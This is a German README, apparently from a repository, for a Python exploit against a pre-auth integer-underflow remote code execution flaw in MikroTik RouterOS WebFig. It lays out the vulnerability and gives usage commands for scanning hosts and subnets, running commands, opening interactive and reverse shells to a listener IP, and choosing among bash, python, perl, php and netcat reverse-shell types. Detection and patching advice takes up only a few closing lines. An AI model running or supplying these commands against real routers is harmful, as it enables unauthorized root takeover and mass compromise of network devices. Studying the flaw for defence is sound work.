maxprog-svg/cve-2026-84411Python-Exploit für CVE-2026-84411, einen Pre-Auth-Integer-Underflow in MikroTik RouterOS WebFig, der RCE ermöglicht, mit Scanning, Befehlsausführung und Reverse Shells.
CVE-2026-84411 ist eine kritische Remote-Code-Execution-Schwachstelle (RCE) vor der Authentifizierung in MikroTik RouterOS.
| Feld | Wert |
|---|---|
| CVSS v3 | 9.8 (Kritisch) |
| CWE | CWE-191: Integer-Unterlauf |
| Angriffsvektor | Netzwerk |
| Authentifizierung | Keine (Pre-Auth) |
| Auswirkung | Vollständige RCE als root / DoS |
| Betroffen | RouterOS < 7.24 |
| Behoben | RouterOS 7.24+ |
Der Webverwaltungsdienst (WebFig, lauscht auf TCP/80 und TCP/443) enthält einen Integer-Unterlauf in der Verarbeitung von HTTP-Anfragekörpern. Eine einzige speziell präparierte HTTP-Anfrage – ohne Anmeldung gesendet – kann den Dienst zum Absturz bringen oder die Ausführung beliebigen Codes mit vollen Rechten ermöglichen.
Der Unterlauf tritt auf, wenn der Parser eine Körperlänge mit unzureichender Validierung berechnet, wodurch der Wert unter null gewrappt und zu einer sehr großen vorzeichenlosen Ganzzahl unterläuft. Speicheroperationen, die dieser korrupten Länge vertrauen (Kopien, Allokationen, Grenzprüfungen), verhalten sich dann katastrophal.
# 1. Quick scan
python3 cve-2026-84411.py -t http://192.168.88.1
# 2. Full exploit check
python3 cve-2026-84411.py -t http://192.168.88.1 --check
# 3. Execute a command
python3 cve-2026-84411.py -t http://192.168.88.1 --cmd "/system identity print"
# 4. Interactive shell
python3 cve-2026-84411.py -t http://192.168.88.1 --interactive
# 5. Reverse shell
python3 cve-2026-84411.py -t http://192.168.88.1 --shell 10.0.0.1 4444
# 6. Scan multiple targets from file
python3 cve-2026-84411.py -i targets.txt
# 7. Scan a subnet
python3 cve-2026-84411.py --range 192.168.88.0/24
# 8. List available reverse shell types
python3 cve-2026-84411.py --list-shells
usage: cve-2026-84411.py [-h] [-t TARGET] [-i INPUT_FILE] [--range CIDR]
[--check] [--shell LHOST LPORT] [--cmd COMMAND]
[--interactive] [--list-shells]
[--lhost LHOST] [--lport LPORT] [-v]
[--timeout TIMEOUT] [--no-color]
CVE-2026-84411 — MikroTik RouterOS WebFig Integer Underflow Exploit
options:
-h, --help show this help message
-t, --target TARGET Target URL or host (e.g., http://192.168.88.1)
-i, --input INPUT_FILE
File with targets (one per line)
--range CIDR IP range to scan (CIDR notation)
--check Run full exploit check
--shell LHOST LPORT Spawn reverse shell
--cmd COMMAND Execute single command
--interactive Interactive shell session
--list-shells List available reverse shell types
--lhost LHOST Listener host for reverse shell
--lport LPORT Listener port for reverse shell
-v, --verbose Verbose output
--timeout TIMEOUT Request timeout in seconds (default: 10)
--no-color Disable ANSI colours
Das Tool verwendet vier Erkennungsmethoden:
Content-Length, das deutlich größer als die tatsächliche Body-Größe istContent-Length-Werte, um einen Unterlauf auszulösenContent-Length| Typ | Befehl |
|---|---|
bash | Standard-Bash-Reverse-Shell |
python | Python-2-Reverse-Shell |
python3 | Python-3-Reverse-Shell |
perl | Perl-Reverse-Shell |
php | PHP-Reverse-Shell |
nc | Netcat-Reverse-Shell |
targets.txt — ein Ziel pro Zeile:
http://192.168.88.1
https://10.0.0.1
192.168.1.100
https://router.example.com
Das Signal mit der höchsten Aussagekraft ist jede Verbindung zu den Web-Verwaltungsports von RouterOS (TCP/80, TCP/443) von einer Quelle, die kein bekannter Verwaltungshost ist.
Sigma-Regeln finden Sie im Blogbeitrag von Security Arsenal: https://securityarsenal.com/blog/cve-2026-84411-mikrotik-routeros-pre-auth-integer-underflow-detection-and-remediation-guide
Aktualisieren Sie auf RouterOS 7.24 oder höher.
Nur für autorisierte Sicherheitstests.
Python-Port basierend auf dem Go PoC von Gagaltotal666 / GhostGTR666.